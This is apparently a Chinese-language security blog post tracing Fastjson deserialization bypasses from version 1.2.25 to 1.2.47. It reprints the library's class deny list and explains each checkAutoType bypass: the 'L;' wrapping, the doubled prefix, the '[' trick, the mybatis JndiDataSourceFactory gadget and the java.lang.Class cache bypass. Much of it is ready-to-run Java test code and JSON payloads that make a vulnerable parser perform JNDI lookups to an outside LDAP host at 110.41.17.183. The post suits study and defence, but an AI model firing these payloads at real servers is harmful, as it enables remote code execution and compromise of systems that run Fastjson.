Fastjson 1.2.25&42&43&45&47

image-20240326102224599

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

com.alibaba.fastjson.parser.ParserConfig

image-20240325194400099

作者在这里增加了autoTypeSupport和黑名单

其中黑名单 denyList 包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

添加反序列化白名单有3种方法:

  1. 使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.chu0.fastjson.,org.javaweb.”)
  2. 加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.chu0.fastjson.
  3. 在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.chu0.fastjson.

注意下面这个部分,这是本次更新主要更新的waf部分DefaultJSONParser.class#parseObject

image-20240325195533854

我们跟进checkAutoType进行分析

image-20240325195811642

这里由于我并没有开启autoTypeSupport,所以两层false直接跳过了黑白名单的检查

image-20240325200027354

如果在黑名单部分的话,下面就会直接抛出异常,结束程序,结果如下

image-20240325200424189

测试代码

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSONObject;

public class Demo {
public static void main(String[] args) {
String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/a\", \"autoCommit\":true}" ;
JSONObject jsonObject = JSONObject.parseObject(payload);
}
}

payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

必须开启AutoType 绕过

fj < 1.2.42

主动开启AutoTypeSupport

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

测试代码

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1225 {
public static void main(String[] args) {
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://110.41.17.183:5555/Exploit\", \"autoCommit\":true}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}

payload

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true}

运行结果,由于这里没有配置服务端,所以没有任何反应

image-20240325202131037

可以发现在这里com.sun.rowset.JdbcRowSetImpl前面增加了一个字母L,后面增加了一个分号,为什么这样就可以绕过了呢,且看下面分析

image-20240325202454639

由于在前面增加了一个字母L,所以就可以绕过黑白名单的检测,进入到上面的TypeUtils.loadClass方法,我们可以进入继续分析

image-20240325203738111

image-20240325203824483

可以看到这里对前面的L和后面的;都进行了处理,最后再次调用loadClass方法,是可以绕过的

1.2.42<=fj<1.2.43

42之后的版本在检查checkAutoType之前对类名进行了截取前后各一个字符的操作,详见下面对比

此图为1.2.47版本,下面那一串数字是因为42版本后对于类名的表示都变成了对应的hash值

image-20240326105123966

此图为1.2.25

image-20240326105231000

我们可以明显发现在if (this.autoTypeSupport || expectClass != null) {}之前增加了部分代码,具体效果就是截取类名1到length-1的部分(去掉前后各一个字符),应对方法也十分简单,双写即可,payload如下

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}

测试代码

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1242 {
public static void main(String[] args) {
String payload="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://110.41.17.183:5555/Exploit\", \"autoCommit\":true}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}

fj < 1.2.43

我们继续运行之前的payload,发现直接报错了,下面将会进行断点分析

image-20240326111056498

发现异常部分如下

image-20240326111141831

这段其实就是对L开头;结尾的类名进行了waf,所以后面的绕过就不能用L&;了,跟踪下面的TypeUtils.loadClass进行分析

image-20240326111523730

对于类名的绕过不只是L&;,[也可以被利用进行绕过,衍生出如下payload

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1243 {
public static void main(String[] args) {
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,{\"dataSourceName\":\"ldap://110.41.17.183:5555/Exploit\", \"autoCommit\":true}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}

payload

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://110.41.17.183:5555/Exploit", "autoCommit":true}

fj < 1.4.45

需要搭配mybatis3使用

mybatis3 <=3.4.6

具体入口如下

image-20240326115759125

fj在实例化的时候会调用对应成员变量的getter或者setter方法,所以就会调用此处的lookup方法,进而触发JNDI注入,对于jndi还不熟悉的师傅建议从1.2.24开始学起,jndi可以说是贯穿很多版本的fj

测试代码

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1245 {
public static void main(String[] args) {
String payload="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\", \"properties\":{\"data_source\":\"ldap://110.41.17.183:5555/Exploit\"}}" ;
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}

payload如下

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{"data_source":"ldap://110.41.17.183:5555/Exploit"}}

fj <= 1.2.47通杀

fj <= 1.2.47通杀

所谓通杀,就是不管是否开启AutoType都可以执行

@type是Class类时会加载val对应的类并写入缓存

  • 关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass
  • 开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass

开启AutoType分析

进入checkAutoType,由于clazz为空,所以会进入下面的第一个判断

image-20240326205306719

第一个判断并没有返回clazz,所以会进入第二个判断,我们断点跟进

image-20240326205549027

IdentifyHashMap存了很多基础类,匹配到直接返回,这里就是匹配到了"java.lang.Class"

image-20240326205709132

返回上层函数,就可以发现这里将clazz return了,返回DefaultJSONParser#parseObject方法,并进入了deserializer.deserialze方法

image-20240326205817596

我们继续断点跟进

image-20240326213137003

此处对objVal进行了赋值,继续跟进

image-20240326213326910

在266行对strVal进行了赋值操作,最后是重头戏

image-20240326213405415

由于此处的clazz并不为空,所以执行了下面的loadClass,对于strVal类进行了加载,继续跟进

image-20240326213655825

可以发现loadClass开启了缓存,并在1153行将val的值写入了缓存

image-20240326213853548

当再次进入checkAutoType的时候,此时的tyoeName就是com.sun.rowset.JdbcRowSetImpl

image-20240326214238747

在经过了对于L&;、[的检测之后,进入了黑名单判断,但细看抛出异常的条件(下面代码),是类在黑名单里且不在缓存中

1
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {}

通过这种方式就可以让我们的恶意类绕过检测,成功返回clazz(839行),后面就和上面的步骤一样了

payload

1
{{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://110.41.17.183:5555/Exploit", "autoCommit": true}}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1247 {
public static void main(String[] args) throws Exception {
String payload = "{{\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://110.41.17.183:5555/Exploit\", \"autoCommit\": true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);

}
}

不开启AutoType分析

和上面的步骤基本相同

不同的是第二次,由于我们并没有开启AutoType,所以不会进入下面的if语句

image-20240326215352786

clazz为null,直接进入到下面的第一个框的语句里

image-20240326215417529

因为上一次已经将com.sun.rowset.JdbcRowSetImpl加入了我们的缓存,所以getClassFromMapping就找到了该类并将其赋值给clazz,因此,恶意类绕过了在下面的!this.autoTypeSupport的if检测,直接在第二个个框的语句里进行了返回,再在后面的parseObject中进行了loadClass加载,实现了不开启AutoType的绕过

payload

1
{{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://110.41.17.183:5555/Exploit", "autoCommit": true}}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Demo1247 {
public static void main(String[] args) throws Exception {
String payload = "{{\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://110.41.17.183:5555/Exploit\", \"autoCommit\": true}}";
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);

}
}